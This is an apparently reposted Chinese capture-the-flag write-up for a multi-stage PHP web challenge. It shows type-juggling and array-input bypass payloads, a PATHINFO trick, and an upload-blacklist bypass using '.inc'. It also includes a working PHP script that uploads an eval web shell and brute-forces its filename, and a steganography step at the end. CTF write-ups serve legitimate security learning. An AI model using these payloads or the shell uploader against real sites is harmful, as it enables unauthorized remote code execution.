Home >Backend Development >PHP Tutorial >三個白帽-条条大路通罗马系列2-Writeup

三個白帽-条条大路通罗马系列2-Writeup

WBOY
WBOYOriginal
2016-06-20 12:28:031580browse

0x00 前言

好好的Web咋變成了misc?友谊小船,說翻就翻!!!!

http://4e79618700b44607c.jie.sangebaimao.com

0x01 獲取源碼

沒有Tips的代碼審計題,源碼獲取必定是第一關。右鍵看源碼,沒東西,看看header頭,果然有蹊蹺。

Set-Cookie source=WXpOV2FXTXpVbmxMUnpGclRsTm5hMWd3WkVaV1JuTnVZekk1TVdOdFRteEtNVEJ3VEVSTmMwNXBhemxRVTBrMFRWZEZNRTFxWTJr

於是乎,解得

#!phpsubstr(md5($_GET['source']),3,6)=="81a427"

這個好熟悉的趕腳,在BCTF2016的homework出現過,雖然有點不同。立馬祭出神器

#!python#!/bin/env python#-*- encoding: utf-8 -*-import md5def mx(str):    m1 = md5.new()       m1.update(str)       return m1.hexdigest()if __name__ == '__main__':    m = '81a427'    for x in range(1,100000000):        a = mx(str(x))[3:9]        if a == m:            print x            break

跑出 47733

/index.php?source=47733

即可得到源碼包的下載地址 /WoShiYuanMa_SGBM.zip

0x02 登陸的腦洞

#!php$password = unserialize($_POST['password']);if($_POST['username']='admin' && $password['username'] !== 'admin' && $password['password'] !== 'admin'){    if ($password['username'] == 'admin' && $password['password']=='admin') {        $_SESSION['login'] = 1;        echo "<center style=\"font-size:36px;\"><a href=\"main.php\">Click jump to the Backstage</a></center>";    }

一開始以為是 unserialize的腦洞,仔細看看代碼才發現是php的特性雙等號(==)的弱類型轉換漏洞。

#!php(0 == "str")=>true(0 === "str")=>false

即構造POST:

username=admin&password=a:2:{s:8:"username";i:0;s:8:"password";i:0;}&submit=1

成功擼過~

0x03 二次驗證

#!phpif (isset($_POST['salt'])){    if (ereg("^[a-zA-Z0-9]+$", $_POST['salt']) === FALSE)    {        exit('ereg');    }    elseif (strlen($_POST['salt']) < 11 && $_POST['salt'] > 999999999)    {        if (strpos($_POST['salt'], '*SGBM*') !== FALSE)        {            $_SESSION['admin'] = 1;            echo "<center style=\"font-size:36px;\"><a href=\"./admin/index.php\">Click jump to the Backstage</a></center>";        }

咋一看、好像很難的樣子。

ereg處理數組會得到 NULL,

同樣 strlen處理數組也會得到 NULL,

array() > int可以得到 true,

strpos處理數組也會得到 NULL

即構造POST:

salt[]=v&submit=1

再次完美擼過。

然而最后官方的出题思路是:

bypass ereg函数了,查到了用%00

然后,根据php特性: 9e9 > 999999999

得到: salt=9e9%00*SGBM*

0x04 PATHINFO模式

#!php$URL = $_SERVER['REQUEST_URI'];$matches = array();preg_match('/^([a-z\/.]+)$/', $URL, $matches); if(strpos($URL, './') !== FALSE){    exit('./');}else if(strpos($URL, '\\') !== FALSE){    exit('\\');}else if(empty($matches) || $matches[1] != $URL){    exit('empty($matches) || $matches[1] != $URL');} else if(strpos($URL, '//') !== FALSE){    exit('//');} else if(substr($URL, -10) !== '/index.php'){    exit('substr($URL, -10) !== \'/index.php\'');} else if(strpos($URL, 'p.') !== FALSE){    exit('p.');} else if($URL == '/admin/index.php'){    exit('$URL == \'/admin/index.php\'');}else {    if($URL !== '/admin/index.php'){        $_SESSION['power'] = 1;        exit("<center style=\"font-size:36px;\"><a href=\"upload.php\">Click jump to the Backstage</a></center>");    }}

一開始各種繞過,始終無解,後來得到大神的Tips。

還是缺乏經驗啊~

LN牛的提示:

索题小二(516421987) 2016-05-20 1:12:49多点框架经验应该能猜到

果斷百度到 PATHINFO模式

URL: /admin/index.php/admin/index.php

成功擼過~

0x05 上傳之fuzz後綴

#!phpif($_FILES["file"]['size'] > 0 && $_FILES["file"]['size'] < 102400) {    $typeAccepted = ["image/jpeg", "image/gif", "image/png"];    $blackext = ["php", "php3", "php4", "php5", "pht", "phtml", "phps"];//总有一款适合你    $filearr = pathinfo($_FILES["file"]["name"]);    if(!in_array($_FILES["file"]['type'], $typeAccepted)) {        exit("type error");    }    if(in_array($filearr["extension"], $blackext)) {        exit("extension error");    }    $filename = md5(time().rand(10, 99)) . "." . $filearr["extension"];    $destination_folder = '../uploads/';    $destination_folder .= date('Y', time()) . "/" . date('m', time()) . "/";    $file_name_path = $destination_folder.$filename;    if (!file_exists($destination_folder)) mkdir('./' . $destination_folder, 0777, true);    if (move_uploaded_file($_FILES["file"]['tmp_name'], $file_name_path)) {        exit('upload success!');    } else {        exit('upload false!');    }}

逆天的黑名單: $blackext = ["php", "php3", "php4", "php5", "pht", "phtml", "phps"];

噁心的文件名 $filename = md5(time().rand(10, 99)) . "." . $filearr["extension"];

靠的就是Fuzz後綴名。

一開始猜測是能執行解析的後綴名,然而基本上都過濾了。最後才想到還有一個inc的後綴。

要不是我前不久折騰過Phar包、我還不會想起有這個麼和php相關的後綴名。

#!php<?php$phar = new Phar('virink.phar', 0, 'virink.phar');$phar->buildFromDirectory(dirname(__FILE__) . '/virink');$phar->setStub($phar->createDefaultStub('virink.php', 'virink.php'));$phar->compressFiles(Phar::GZ);?>

生成一個 virink.phar文件,你就會發現

#!phpExtract_Phar::go(true);$mimes = array('phps' => 2,...,'xsd' => 'text/plain','php' => 1,'inc' => 1,'avi' => 'video/avi',...

若以,測試了下inc後綴,果真能夠執行。

出題人的腦洞果然牛逼。

關於文件名爆破,一開始Fuzz的時候、因為懶,所以順手寫了個PHP腳本的POC

#!php<?phpdate_default_timezone_set('UTC');error_reporting(0);function fuck($ext, $contents){    $u = "4e79618700b44607c.jie.sangebaimao.com";    $key = "file\";filename=shell.$ext\r\nContent-Type:image/jpeg\r\nv:v";      $fields[$key] = $contents;    $ch = curl_init();    curl_setopt($ch,CURLOPT_URL,"http://".$u."/admin/upload.php");    curl_setopt($ch,CURLOPT_HEADER,true);    curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);    curl_setopt($ch,CURLOPT_POST,true);    curl_setopt($ch,CURLOPT_POSTFIELDS,$fields);    curl_setopt($ch,CURLOPT_BINARYTRANSFER,true);    curl_setopt($ch, CURLOPT_COOKIE, 'YOU COOKIE');    $result = curl_exec($ch);    curl_close($ch);    $tt = substr($result,strpos($result,'Date')+11,20);    $t = strtotime($tt);    if(strpos($result,'success') === FALSE)        die('error');    for($i = 10; $i<100;$i++){        $url = "http://".$u."/uploads/2016/05/".md5($t.$i).'.'.$ext;        $f = file_get_contents($url);        if ($f && strpos($f,'virink') !== FALSE){            print $url;            break;        }    }}$contents =<<<TEXT<?php eval(\$_POST[999]);?>virinkTEXT;$ext = 'inc';fuck($ext, $contents);?>

代碼有點不簡潔、、懶得改了,將就著用吧。

成功getshell~~

0x06 什麼鬼?Misc

getshell之後果真很蛋疼,很奔溃!

imstudy(214329772) 1:44:30我都说拿完shell内心是奔溃的了,你竟然不信我

沒錯, imstudy就是出題人,少年,拿起你手中的狼牙棒,保證不打死就可以了~~

菜刀練上去,發現 /var/www/目錄下是一個圖片 flag.jpg

神器 Stegsolve + WinHex,提取出來一個壓縮包,,裏面是一個flag.txt。

然而還不是真正的flag,反而是N多汗(x,y,z)格式的東西。0-255之間,猜測是RGB值。

這可能要畫圖。

統計了一下行數、還不是正規的正方形尺寸。

默默折騰出一個POC,完美折騰出圖片。

#!python#!/bin/env python#-*- encoding: utf-8 -*-# __author__ : Virinkfrom PIL import Imageimport mathif __name__ == '__main__':    count = len(open('flag.txt','r').readlines())    j = int(math.sqrt(count))    i = j+2    for k in range(0,i/4):        sx = i-k        sy = j+k        if (sx * sy) == count:            break    c = Image.new("RGB",(sx,sy))    file = open('flag.txt')    for x in range(0,sx):        for y in range(0,sy):            line = file.readline()#获取一行            rgb = line.split(",")#分离rgb            c.putpixel((x,y),(int(rgb[0]),int(rgb[1]),int(rgb[2])))    c.show()    c.save("flag.png")

通關,此時此刻,我的內心依舊崩潰中!

FLAG : miao{fb49ac8a528901913ea2c664c6a8d6a1}
Statement:
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn